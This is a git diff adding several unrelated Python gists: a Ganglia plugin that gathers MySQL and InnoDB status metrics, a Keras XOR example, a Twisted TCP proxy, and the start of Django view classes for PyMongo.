+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+"""
+
+__version__ = '0.1.2' # 2009-01-12
+
+import sys
+import time
+import MySQLdb
+
+from DBUtil import parse_innodb_status
+
+import logging
+logging.basicConfig(level=logging.ERROR, format="%(asctime)s - %(name)s - %(levelname)s - Thread-%(thread)d - %(message)s", filename='/tmp/mylog', filemode='w')
+logging.warning('starting up')
+
+last_update = 0
+mysql_conn_opts = {}
+mysql_stats = {}
+
+REPORT_INNODB = True
+REPORT_MAIN = True
+REPORT_SUBORDINATE  = True
+
+def update_stats(get_innodb=True, get_main=True, get_subordinate=True):
+	logging.warning('updating stats')
+	global last_update
+	global mysql_stats
+
+	if time.time() - last_update < 15:
+		return True
+	else:
+		last_update = time.time()
+
+	logging.warning('refreshing stats')
+	mysql_stats = {}
+
+	# Get info from DB
+	try:
+		conn = MySQLdb.connect(**mysql_conn_opts)
+
+		cursor = conn.cursor(MySQLdb.cursors.DictCursor)
+		cursor.execute("SELECT GET_LOCK('gmetric-mysql', 0) as ok")
+		lock_stat = cursor.fetchone()
+		cursor.close()
+
+		if lock_stat['ok'] == 0:
+			return False
+
+		cursor = conn.cursor(MySQLdb.cursors.Cursor)
+		cursor.execute("SHOW VARIABLES")
+		#variables = dict(((k.lower(), v) for (k,v) in cursor))
+		variables = {}
+		for (k,v) in cursor:
+			variables[k.lower()] = v
+		cursor.close()
+
+		cursor = conn.cursor(MySQLdb.cursors.Cursor)
+		cursor.execute("SHOW /*!50002 GLOBAL */ STATUS")
+		#global_status = dict(((k.lower(), v) for (k,v) in cursor))
+		global_status = {}
+		for (k,v) in cursor:
+			global_status[k.lower()] = v
+		cursor.close()
+
+		# try not to fail ?
+		get_innodb = get_innodb and variables['have_innodb'].lower() == 'yes'
+		get_main = get_main and variables['log_bin'].lower() == 'on'
+
+		if get_innodb:
+			cursor = conn.cursor(MySQLdb.cursors.Cursor)
+			cursor.execute("SHOW /*!50000 ENGINE*/ INNODB STATUS")
+			innodb_status = parse_innodb_status(cursor.fetchone()[0].split('\n'))
+			cursor.close()
+
+		if get_main:
+			cursor = conn.cursor(MySQLdb.cursors.Cursor)
+			cursor.execute("SHOW BINARY LOGS")
+			main_logs = cursor.fetchall()
+			cursor.close()
+
+		if get_subordinate:
+			cursor = conn.cursor(MySQLdb.cursors.DictCursor)
+			cursor.execute("SHOW SLAVE STATUS")
+			subordinate_status = {}
+			res = cursor.fetchone()
+			if res:
+				for (k,v) in res.items():
+					subordinate_status[k.lower()] = v
+			else:
+				get_subordinate = False
+			cursor.close()
+
+		cursor = conn.cursor(MySQLdb.cursors.DictCursor)
+		cursor.execute("SELECT RELEASE_LOCK('gmetric-mysql') as ok")
+		cursor.close()
+
+		conn.close()
+	except MySQLdb.OperationalError, (errno, errmsg):
+		logging.warning('error refreshing stats')
+		return False
+
+	logging.warning('success refreshing stats')
+	# process variables
+	# http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html
+	mysql_stats['version'] = variables['version']
+
+	# process global status
+	# http://dev.mysql.com/doc/refman/5.0/en/server-status-variables.html
+	interesting_global_status_vars = (
+		'aborted_clients',
+		'aborted_connects',
+		'binlog_cache_disk_use',
+		'binlog_cache_use',
+		'bytes_received',
+		'bytes_sent',
+		'com_delete',
+		'com_delete_multi',
+		'com_insert',
+		'com_insert_select',
+		'com_load',
+		'com_replace',
+		'com_replace_select',
+		'com_select',
+		'com_update',
+		'com_update_multi',
+		'connections',
+		'created_tmp_disk_tables',
+		'created_tmp_files',
+		'created_tmp_tables',
+		'key_reads',
+		'key_read_requests',
+		'key_writes',
+		'key_write_requests',
+		'max_used_connections',
+		'open_files',
+		'open_tables',
+		'opened_tables',
+		'qcache_free_blocks',
+		'qcache_free_memory',
+		'qcache_hits',
+		'qcache_inserts',
+		'qcache_lowmem_prunes',
+		'qcache_not_cached',
+		'qcache_queries_in_cache',
+		'qcache_total_blocks',
+		'questions',
+		'select_full_join',
+		'select_full_range_join',
+		'select_range',
+		'select_range_check',
+		'select_scan',
+		'subordinate_open_temp_tables',
+		'subordinate_retried_transactions',
+		'slow_launch_threads',
+		'slow_queries',
+		'sort_range',
+		'sort_rows',
+		'sort_scan',
+		'table_locks_immediate',
+		'table_locks_waited',
+		'threads_cached',
+		'threads_connected',
+		'threads_created',
+		'threads_running',
+		'uptime',
+	)
+
+	# don't put all of global_status in mysql_stats b/c it's so big
+	for key in interesting_global_status_vars:
+		mysql_stats[key] = global_status[key]
+
+	mysql_stats['open_files_used'] = int(global_status['open_files']) / int(variables['open_files_limit'])
+
+	# process innodb status
+	if get_innodb:
+		for istat in innodb_status:
+			mysql_stats['innodb_' + istat] = innodb_status[istat]
+
+	# process main logs
+	if get_main:
+		mysql_stats['binlog_count'] = len(main_logs)
+		mysql_stats['binlog_space_current'] = main_logs[-1][1]
+		#mysql_stats['binlog_space_total'] = sum((long(s[1]) for s in main_logs))
+		mysql_stats['binlog_space_total'] = 0
+		for s in main_logs:
+			mysql_stats['binlog_space_total'] += int(s[1])
+		mysql_stats['binlog_space_used'] = float(main_logs[-1][1]) / float(variables['max_binlog_size']) * 100
+
+	# process subordinate status
+	if get_subordinate:
+		mysql_stats['subordinate_exec_master_log_pos'] = subordinate_status['exec_master_log_pos']
+		#mysql_stats['subordinate_io'] = 1 if subordinate_status['subordinate_io_running'].lower() == "yes" else 0
+		if subordinate_status['subordinate_io_running'].lower() == "yes":
+			mysql_stats['subordinate_io'] = 1
+		else:
+			mysql_stats['subordinate_io'] = 0
+		#mysql_stats['subordinate_sql'] = 1 if subordinate_status['subordinate_sql_running'].lower() =="yes" else 0
+		if subordinate_status['subordinate_sql_running'].lower() == "yes":
+			mysql_stats['subordinate_sql'] = 1
+		else:
+			mysql_stats['subordinate_sql'] = 0
+		mysql_stats['subordinate_lag'] = subordinate_status['seconds_behind_master']
+		mysql_stats['subordinate_relay_log_pos'] = subordinate_status['relay_log_pos']
+		mysql_stats['subordinate_relay_log_space'] = subordinate_status['relay_log_space']
+
+def get_stat(name):
+	logging.info("getting stat: %s" % name)
+	global mysql_stats
+	logging.warning(mysql_stats)
+
+	global REPORT_INNODB
+	global REPORT_MAIN
+	global REPORT_SUBORDINATE
+
+	ret = update_stats(REPORT_INNODB, REPORT_MAIN, REPORT_SUBORDINATE)
+
+	if ret:
+		if name.startswith('mysql_'):
+			label = name[6:]
+		else:
+			label = name
+
+		logging.warning("fetching %s" % name)
+		try:
+			return mysql_stats[label]
+		except:
+			logging.warning("failed to fetch %s" % name)
+			return 0
+	else:
+		return 0
+
+def metric_init(params):
+	global descriptors
+	global mysql_conn_opts
+	global mysql_stats
+
+	global REPORT_INNODB
+	global REPORT_MAIN
+	global REPORT_SUBORDINATE
+
+	REPORT_INNODB = str(params.get('get_innodb', True)) == "True"
+	REPORT_MAIN = str(params.get('get_main', True)) == "True"
+	REPORT_SUBORDINATE  = str(params.get('get_subordinate', True)) == "True"
+
+	logging.warning("init: " + str(params))
+
+	mysql_conn_opts = dict(
+		host = params.get('host', 'localhost'),
+		user = params.get('user'),
+		passwd = params.get('passwd'),
+		port = int(params.get('port', 3306)),
+		connect_timeout = params.get('timeout', 30),
+	)
+
+	main_stats_descriptions = {}
+	innodb_stats_descriptions = {}
+	subordinate_stats_descriptions  = {}
+
+	misc_stats_descriptions = dict(
+		aborted_clients = {
+			'description': 'The number of connections that were aborted because the client died without closing the connection properly',
+			'units': 'clients',
+		}, 
+
+		aborted_connects = {
+			'description': 'The number of failed attempts to connect to the MySQL server',
+			'units': 'conns',
+		}, 
+
+		binlog_cache_disk_use = {
+			'description': 'The number of transactions that used the temporary binary log cache but that exceeded the value of binlog_cache_size and used a temporary file to store statements from the transaction',
+			'units': 'txns',
+		}, 
+
+		binlog_cache_use = {
+			'description': ' The number of transactions that used the temporary binary log cache',
+			'units': 'txns',
+		}, 
+
+		bytes_received = {
+			'description': 'The number of bytes received from all clients',
+			'units': 'bytes',
+		}, 
+
+		bytes_sent = {
+			'description': ' The number of bytes sent to all clients',
+			'units': 'bytes',
+		}, 
+
+		com_delete = {
+			'description': 'The number of DELETE statements',
+			'units': 'stmts',
+		}, 
+
+		com_delete_multi = {
+			'description': 'The number of multi-table DELETE statements',
+			'units': 'stmts',
+		}, 
+
+		com_insert = {
+			'description': 'The number of INSERT statements',
+			'units': 'stmts',
+		}, 
+
+		com_insert_select = {
+			'description': 'The number of INSERT ... SELECT statements',
+			'units': 'stmts',
+		}, 
+
+		com_load = {
+			'description': 'The number of LOAD statements',
+			'units': 'stmts',
+		}, 
+
+		com_replace = {
+			'description': 'The number of REPLACE statements',
+			'units': 'stmts',
+		}, 
+
+		com_replace_select = {
+			'description': 'The number of REPLACE ... SELECT statements',
+			'units': 'stmts',
+		}, 
+
+		com_select = {
+			'description': 'The number of SELECT statements',
+			'units': 'stmts',
+		}, 
+
+		com_update = {
+			'description': 'The number of UPDATE statements',
+			'units': 'stmts',
+		}, 
+
+		com_update_multi = {
+			'description': 'The number of multi-table UPDATE statements',
+			'units': 'stmts',
+		}, 
+
+		connections = {
+			'description': 'The number of connection attempts (successful or not) to the MySQL server',
+			'units': 'conns',
+		}, 
+
+		created_tmp_disk_tables = {
+			'description': 'The number of temporary tables on disk created automatically by the server while executing statements',
+			'units': 'tables',
+		}, 
+
+		created_tmp_files = {
+			'description': 'The number of temporary files mysqld has created',
+			'units': 'files',
+		}, 
+
+		created_tmp_tables = {
+			'description': 'The number of in-memory temporary tables created automatically by the server while executing statement',
+			'units': 'tables',
+		}, 
+
+		#TODO in graphs: key_read_cache_miss_rate = key_reads / key_read_requests
+
+		key_read_requests = {
+			'description': 'The number of requests to read a key block from the cache',
+			'units': 'reqs',
+		}, 
+
+		key_reads = {
+			'description': 'The number of physical reads of a key block from disk',
+			'units': 'reads',
+		}, 
+
+		key_write_requests = {
+			'description': 'The number of requests to write a key block to the cache',
+			'units': 'reqs',
+		}, 
+
+		key_writes = {
+			'description': 'The number of physical writes of a key block to disk',
+			'units': 'writes',
+		}, 
+
+		max_used_connections = {
+			'description': 'The maximum number of connections that have been in use simultaneously since the server started',
+			'units': 'conns',
+			'slope': 'both',
+		}, 
+
+		open_files = {
+			'description': 'The number of files that are open',
+			'units': 'files',
+			'slope': 'both',
+		}, 
+
+		open_tables = {
+			'description': 'The number of tables that are open',
+			'units': 'tables',
+			'slope': 'both',
+		}, 
+
+		# If Opened_tables is big, your table_cache value is probably too small. 
+		opened_tables = {
+			'description': 'The number of tables that have been opened',
+			'units': 'tables',
+		}, 
+
+		qcache_free_blocks = {
+			'description': 'The number of free memory blocks in the query cache',
+			'units': 'blocks',
+			'slope': 'both',
+		}, 
+
+		qcache_free_memory = {
+			'description': 'The amount of free memory for the query cache',
+			'units': 'bytes',
+			'slope': 'both',
+		}, 
+
+		qcache_hits = {
+			'description': 'The number of query cache hits',
+			'units': 'hits',
+		}, 
+
+		qcache_inserts = {
+			'description': 'The number of queries added to the query cache',
+			'units': 'queries',
+		}, 
+
+		qcache_lowmem_prunes = {
+			'description': 'The number of queries that were deleted from the query cache because of low memory',
+			'units': 'queries',
+		}, 
+
+		qcache_not_cached = {
+			'description': 'The number of non-cached queries (not cacheable, or not cached due to the query_cache_type setting)',
+			'units': 'queries',
+		}, 
+
+		qcache_queries_in_cache = {
+			'description': 'The number of queries registered in the query cache',
+			'units': 'queries',
+		}, 
+
+		qcache_total_blocks = {
+			'description': 'The total number of blocks in the query cache',
+			'units': 'blocks',
+		}, 
+
+		questions = {
+			'description': 'The number of statements that clients have sent to the server',
+			'units': 'stmts',
+		}, 
+
+		# If this value is not 0, you should carefully check the indexes of your tables.
+		select_full_join = {
+			'description': 'The number of joins that perform table scans because they do not use indexes',
+			'units': 'joins',
+		}, 
+
+		select_full_range_join = {
+			'description': 'The number of joins that used a range search on a reference table',
+			'units': 'joins',
+		}, 
+
+		select_range = {
+			'description': 'The number of joins that used ranges on the first table',
+			'units': 'joins',
+		}, 
+
+		# If this is not 0, you should carefully check the indexes of your tables.
+		select_range_check = {
+			'description': 'The number of joins without keys that check for key usage after each row',
+			'units': 'joins',
+		}, 
+
+		select_scan = {
+			'description': 'The number of joins that did a full scan of the first table',
+			'units': 'joins',
+		}, 
+
+		subordinate_open_temp_tables = {
+			'description': 'The number of temporary tables that the subordinate SQL thread currently has open',
+			'units': 'tables',
+			'slope': 'both',
+		}, 
+
+		subordinate_retried_transactions = {
+			'description': 'The total number of times since startup that the replication subordinate SQL thread has retried transactions',
+			'units': 'count',
+		}, 
+
+		slow_launch_threads = {
+			'description': 'The number of threads that have taken more than slow_launch_time seconds to create',
+			'units': 'threads',
+		}, 
+
+		slow_queries = {
+			'description': 'The number of queries that have taken more than long_query_time seconds',
+			'units': 'queries',
+		}, 
+
+		sort_range = {
+			'description': 'The number of sorts that were done using ranges',
+			'units': 'sorts',
+		}, 
+
+		sort_rows = {
+			'description': 'The number of sorted rows',
+			'units': 'rows',
+		}, 
+
+		sort_scan = {
+			'description': 'The number of sorts that were done by scanning the table',
+			'units': 'sorts',
+		}, 
+
+		table_locks_immediate = {
+			'description': 'The number of times that a request for a table lock could be granted immediately',
+			'units': 'count',
+		}, 
+
+		# If this is high and you have performance problems, you should first optimize your queries, and then either split your table or tables or use replication.
+		table_locks_waited = {
+			'description': 'The number of times that a request for a table lock could not be granted immediately and a wait was needed',
+			'units': 'count',
+		}, 
+
+		threads_cached = {
+			'description': 'The number of threads in the thread cache',
+			'units': 'threads',
+			'slope': 'both',
+		}, 
+
+		threads_connected = {
+			'description': 'The number of currently open connections',
+			'units': 'threads',
+			'slope': 'both',
+		}, 
+
+		#TODO in graphs: The cache miss rate can be calculated as Threads_created/Connections
+
+		# Threads_created is big, you may want to increase the thread_cache_size value. 
+		threads_created = {
+			'description': 'The number of threads created to handle connections',
+			'units': 'threads',
+		}, 
+
+		threads_running = {
+			'description': 'The number of threads that are not sleeping',
+			'units': 'threads',
+			'slope': 'both',
+		}, 
+
+		uptime = {
+			'description': 'The number of seconds that the server has been up',
+			'units': 'secs',
+			'slope': 'both',
+		}, 
+
+		version = {
+			'description': "MySQL Version",
+			'value_type': 'string',
+		},
+	)
+
+	if REPORT_MAIN:
+		main_stats_descriptions = dict(
+			binlog_count = {
+				'description': "Number of binary logs",
+				'units': 'logs',
+				'slope': 'both',
+			},
+
+			binlog_space_current = {
+				'description': "Size of current binary log",
+				'units': 'bytes',
+				'slope': 'both',
+			},
+
+			binlog_space_total = {
+				'description': "Total space used by binary logs",
+				'units': 'bytes',
+				'slope': 'both',
+			},
+
+			binlog_space_used = {
+				'description': "Current binary log size / max_binlog_size",
+				'value_type': 'float',
+				'units': 'percent',
+				'slope': 'both',
+			},
+		)
+
+	if REPORT_SUBORDINATE:
+		subordinate_stats_descriptions = dict(
+			subordinate_exec_master_log_pos = {
+				'description': "The position of the last event executed by the SQL thread from the main's binary log",
+				'units': 'bytes',
+				'slope': 'both',
+			},
+
+			subordinate_io = {
+				'description': "Whether the I/O thread is started and has connected successfully to the main",
+				'value_type': 'uint8',
+				'units': 'True/False',
+				'slope': 'both',
+			},
+
+			subordinate_lag = {
+				'description': "Replication Lag",
+				'units': 'secs',
+				'slope': 'both',
+			},
+
+			subordinate_relay_log_pos = {
+				'description': "The position up to which the SQL thread has read and executed in the current relay log",
+				'units': 'bytes',
+				'slope': 'both',
+			},
+
+			subordinate_sql = {
+				'description': "Subordinate SQL Running",
+				'value_type': 'uint8',
+				'units': 'True/False',
+				'slope': 'both',
+			},
+		)
+
+	if REPORT_INNODB:
+		innodb_stats_descriptions = dict(
+			innodb_active_transactions = {
+				'description': "Active InnoDB transactions",
+				'value_type':'uint',
+				'units': 'txns',
+				'slope': 'both',
+			},
+
+			innodb_current_transactions = {
+				'description': "Current InnoDB transactions",
+				'value_type':'uint',
+				'units': 'txns',
+				'slope': 'both',
+			},
+
+			innodb_buffer_pool_pages_data = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'pages',
+			},
+
+			innodb_data_fsyncs = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'fsyncs',
+			},
+
+			innodb_data_reads = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'reads',
+			},
+
+			innodb_data_writes = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'writes',
+			},
+
+			innodb_buffer_pool_pages_free = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'pages',
+				'slope': 'both',
+			},
+
+			innodb_history_list = {
+				'description': "InnoDB",
+				'units': 'length',
+				'slope': 'both',
+			},
+
+			innodb_ibuf_inserts = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'inserts',
+			},
+
+			innodb_ibuf_merged = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'recs',
+			},
+
+			innodb_ibuf_merges = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'merges',
+			},
+
+			innodb_log_bytes_flushed = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'bytes',
+			},
+
+			innodb_log_bytes_unflushed = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'bytes',
+				'slope': 'both',
+			},
+
+			innodb_log_bytes_written = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'bytes',
+			},
+
+			innodb_log_writes = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'writes',
+			},
+
+			innodb_buffer_pool_pages_dirty = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'pages',
+				'slope': 'both',
+			},
+
+			innodb_os_waits = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'waits',
+			},
+
+			innodb_pages_created = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'pages',
+			},
+
+			innodb_pages_read = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'pages',
+			},
+
+			innodb_pages_written = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'pages',
+			},
+
+			innodb_pending_aio_log_ios = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'ops',
+			},
+
+			innodb_pending_aio_sync_ios = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'ops',
+			},
+
+			innodb_pending_buffer_pool_flushes = {
+				'description': "The number of pending buffer pool page-flush requests",
+				'value_type':'uint',
+				'units': 'reqs',
+				'slope': 'both',
+			},
+
+			innodb_pending_chkp_writes = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'writes',
+			},
+
+			innodb_pending_ibuf_aio_reads = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'reads',
+			},
+
+			innodb_pending_log_flushes = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'reqs',
+			},
+
+			innodb_pending_log_writes = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'writes',
+			},
+
+			innodb_pending_normal_aio_reads = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'reads',
+			},
+
+			innodb_pending_normal_aio_writes = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'writes',
+			},
+
+			innodb_buffer_pool_pages_total = {
+				'description': "The total size of buffer pool, in pages",
+				'value_type':'uint',
+				'units': 'pages',
+				'slope': 'both',
+			},
+
+			innodb_queries_inside = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'queries',
+			},
+
+			innodb_queries_queued = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'queries',
+				'slope': 'both',
+			},
+
+			innodb_read_views = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'views',
+			},
+
+			innodb_rows_deleted = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'rows',
+			},
+
+			innodb_rows_inserted = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'rows',
+			},
+
+			innodb_rows_read = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'rows',
+			},
+
+			innodb_rows_updated = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'rows',
+			},
+
+			innodb_spin_rounds = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'spins',
+				'slope': 'both',
+			},
+
+			innodb_spin_waits = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'spins',
+				'slope': 'both',
+			},
+
+			innodb_transactions = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'txns',
+			},
+
+			innodb_transactions_purged = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'txns',
+			},
+
+			innodb_transactions_unpurged = {
+				'description': "InnoDB",
+				'value_type':'uint',
+				'units': 'txns',
+			},
+		)
+
+	descriptors = []
+
+	update_stats(REPORT_INNODB, REPORT_MAIN, REPORT_SUBORDINATE)
+
+	for stats_descriptions in (innodb_stats_descriptions, main_stats_descriptions, misc_stats_descriptions, subordinate_stats_descriptions):
+		for label in stats_descriptions:
+			if mysql_stats.has_key(label):
+
+				d = {
+					'name': 'mysql_' + label,
+					'call_back': get_stat,
+					'time_max': 90,
+					'value_type': "uint",
+					'units': "",
+					'slope': "positive",
+					'format': '%u',
+					'description': "http://search.mysql.com/search?q=" + label,
+					'groups': 'mysql',
+				}
+
+				d.update(stats_descriptions[label])
+
+				descriptors.append(d)
+
+			else:
+				logging.error("skipped " + label)
+
+	logging.warning(str(descriptors))
+	return descriptors
+
+def metric_cleanup():
+	logging.shutdown()
+	# pass
+
+if __name__ == '__main__':
+	from optparse import OptionParser
+	import os
+
+	logging.warning('running from cmd line')
+	parser = OptionParser()
+	parser.add_option("-H", "--Host", dest="host", help="Host running mysql", default="localhost")
+	parser.add_option("-u", "--user", dest="user", help="user to connect as", default="")
+	parser.add_option("-p", "--password", dest="passwd", help="password", default="")
+	parser.add_option("-P", "--port", dest="port", help="port", default=3306, type="int")
+	parser.add_option("--no-innodb", dest="get_innodb", action="store_false", default=True)
+	parser.add_option("--no-main", dest="get_main", action="store_false", default=True)
+	parser.add_option("--no-subordinate", dest="get_subordinate", action="store_false", default=True)
+	parser.add_option("-b", "--gmetric-bin", dest="gmetric_bin", help="path to gmetric binary", default="/usr/bin/gmetric")
+	parser.add_option("-c", "--gmond-conf", dest="gmond_conf", help="path to gmond.conf", default="/etc/ganglia/gmond.conf")
+	parser.add_option("-g", "--gmetric", dest="gmetric", help="submit via gmetric", action="store_true", default=False)
+	parser.add_option("-q", "--quiet", dest="quiet", action="store_true", default=False)
+
+	(options, args) = parser.parse_args()
+
+	metric_init({
+		'host': options.host,
+		'passwd': options.passwd,
+		'user': options.user,
+		'port': options.port,
+		'get_innodb': options.get_innodb,
+		'get_main': options.get_main,
+		'get_subordinate': options.get_subordinate,
+	})
+
+	for d in descriptors:
+		v = d['call_back'](d['name'])
+		if not options.quiet:
+			print ' %s: %s %s [%s]' % (d['name'], v, d['units'], d['description'])
+
+		if options.gmetric:
+			cmd = "%s --conf=%s --value='%s' --units='%s' --type='%s' --name='%s' --slope='%s'" % \
+				(options.gmetric_bin, options.gmond_conf, v, d['units'], d['value_type'], d['name'], d['slope'])
+			os.system(cmd)
diff --git a/hard-gists/187895beb89f0a1b3a54/._snippet.py b/hard-gists/187895beb89f0a1b3a54/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/187895beb89f0a1b3a54/._snippet.py differ
diff --git a/hard-gists/187895beb89f0a1b3a54/snippet.py b/hard-gists/187895beb89f0a1b3a54/snippet.py
new file mode 100644
index 00000000..21d9332f
--- /dev/null
+++ b/hard-gists/187895beb89f0a1b3a54/snippet.py
@@ -0,0 +1,25 @@
+from keras.models import Sequential
+from keras.layers.core import Dense, Dropout, Activation
+from keras.optimizers import SGD
+import numpy as np 
+
+X = np.array([[0,0],[0,1],[1,0],[1,1]])
+y = np.array([[0],[1],[1],[0]])
+
+model = Sequential()
+model.add(Dense(8, input_dim=2))
+model.add(Activation('tanh'))
+model.add(Dense(1))
+model.add(Activation('sigmoid'))
+
+sgd = SGD(lr=0.1)
+model.compile(loss='binary_crossentropy', optimizer=sgd)
+
+model.fit(X, y, show_accuracy=True, batch_size=1, nb_epoch=1000)
+print(model.predict_proba(X))
+"""
+[[ 0.0033028 ]
+ [ 0.99581173]
+ [ 0.99530098]
+ [ 0.00564186]]
+"""
\ No newline at end of file
diff --git a/hard-gists/1878983/._snippet.py b/hard-gists/1878983/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1878983/._snippet.py differ
diff --git a/hard-gists/1878983/snippet.py b/hard-gists/1878983/snippet.py
new file mode 100644
index 00000000..31c445dd
--- /dev/null
+++ b/hard-gists/1878983/snippet.py
@@ -0,0 +1,76 @@
+#!/usr/bin/env python
+# coding: utf-8
+# http://musta.sh/2012-03-04/twisted-tcp-proxy.html
+
+import sys
+
+from twisted.internet import defer
+from twisted.internet import protocol
+from twisted.internet import reactor
+from twisted.python import log
+
+class ProxyClientProtocol(protocol.Protocol):
+    def connectionMade(self):
+        log.msg("Client: connected to peer")
+        self.cli_queue = self.factory.cli_queue
+        self.cli_queue.get().addCallback(self.serverDataReceived)
+
+    def serverDataReceived(self, chunk):
+        if chunk is False:
+            self.cli_queue = None
+            log.msg("Client: disconnecting from peer")
+            self.factory.continueTrying = False
+            self.transport.loseConnection()
+        elif self.cli_queue:
+            log.msg("Client: writing %d bytes to peer" % len(chunk))
+            self.transport.write(chunk)
+            self.cli_queue.get().addCallback(self.serverDataReceived)
+        else:
+            self.factory.cli_queue.put(chunk)
+
+    def dataReceived(self, chunk):
+        log.msg("Client: %d bytes received from peer" % len(chunk))
+        self.factory.srv_queue.put(chunk)
+
+    def connectionLost(self, why):
+        if self.cli_queue:
+            self.cli_queue = None
+            log.msg("Client: peer disconnected unexpectedly")
+
+
+class ProxyClientFactory(protocol.ReconnectingClientFactory):
+    maxDelay = 10
+    continueTrying = True
+    protocol = ProxyClientProtocol
+
+    def __init__(self, srv_queue, cli_queue):
+        self.srv_queue = srv_queue
+        self.cli_queue = cli_queue
+
+class ProxyServer(protocol.Protocol):
+    def connectionMade(self):
+        self.srv_queue = defer.DeferredQueue()
+        self.cli_queue = defer.DeferredQueue()
+        self.srv_queue.get().addCallback(self.clientDataReceived)
+
+        factory = ProxyClientFactory(self.srv_queue, self.cli_queue)
+        reactor.connectTCP("127.0.0.1", 6666, factory)
+
+    def clientDataReceived(self, chunk):
+        log.msg("Server: writing %d bytes to original client" % len(chunk))
+        self.transport.write(chunk)
+        self.srv_queue.get().addCallback(self.clientDataReceived)
+
+    def dataReceived(self, chunk):
+        log.msg("Server: %d bytes received" % len(chunk))
+        self.cli_queue.put(chunk)
+
+    def connectionLost(self, why):
+        self.cli_queue.put(False)
+
+if __name__ == "__main__":
+    log.startLogging(sys.stdout)
+    factory = protocol.Factory()
+    factory.protocol = ProxyServer
+    reactor.listenTCP(9999, factory, interface="0.0.0.0")
+    reactor.run()
\ No newline at end of file
diff --git a/hard-gists/1879626/._snippet.py b/hard-gists/1879626/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1879626/._snippet.py differ
diff --git a/hard-gists/1879626/snippet.py b/hard-gists/1879626/snippet.py
new file mode 100644
index 00000000..f3b60838
--- /dev/null
+++ b/hard-gists/1879626/snippet.py
@@ -0,0 +1,274 @@
+"""
+I am sure everyone has something like this already.
+I think PyDanny may have even built this into Django-Mongonaut.
+But I needed to have this without installing any extra stuff.
+Please enjoy version 0.0.3 of my class-based list/detail views for PyMongo.
+"""
+from bson.objectid import ObjectId
+from common.mongo import MongoConnection
+from django.conf import settings
+from django.views.generic.base import View
+from django.http import Http404, HttpResponseRedirect
+from django.template.response import TemplateResponse
+
+class BaseMongoMixin(object):
+    db_name                     = None
+    collection_name             = None
+    query_sort                  = None
+    query_results               = None
+    query_dict                  = None
+    context_object_name         = None
+    template_name               = None
+    class_type                  = None
+    auth_string                 = None
+    
+    def get_context_data(self, *args, **kwargs):
+        context                             = { 'object_list': self.query_results }
+        context.update(**kwargs)
+        context[self.context_object_name]   = self.query_results
+        return context
+    
+    def get_template_name(self):
+        if self.template_name == None:
+            return u'%s/%s_%s.html' % (self.collection_name, self.collection_name, self.class_type)
+        else:
+            return self.template_name
+    
+    def render_to_response(self, context):
+        return TemplateResponse(
+            request = self.request,
+            template = self.get_template_name(),
+            context=context,
+        )
+
+class BasePaginatedMongoMixin(BaseMongoMixin):
+    pages                       = None
+    page                        = None
+    next_page_number            = None
+    previous_page_number        = None
+    offset                      = None
+    pagination_limit            = settings.DEFAULT_PAGINATION
+    page_range                  = None
+    
+    def get_context_data(self, *args, **kwargs):
+        context = super(BasePaginatedMongoMixin, self).get_context_data(*args, **kwargs)
+        context['page']                     = self.page
+        context['pages']                    = self.pages
+        context['page_range']               = self.page_range
+        context['previous_page_number']     = self.previous_page_number
+        context['next_page_number']         = self.next_page_number
+        return context
+
+class DetailView(BaseMongoMixin, View):
+    class_type          = 'detail'
+    
+    def get_object(self, *args, **kwargs):
+        mongo_object        = MongoConnection(db=self.db_name, collection=self.collection_name, auth=self.auth_string)
+        connection          = mongo_object.connect()
+        query               = connection.find_one(ObjectId(str(self.kwargs[self.query_filter['kwargs']['url_kwarg']])))
+        if query == None:
+            raise Http404(u"List is empty.")
+        else:
+            return query, 'query'
+        
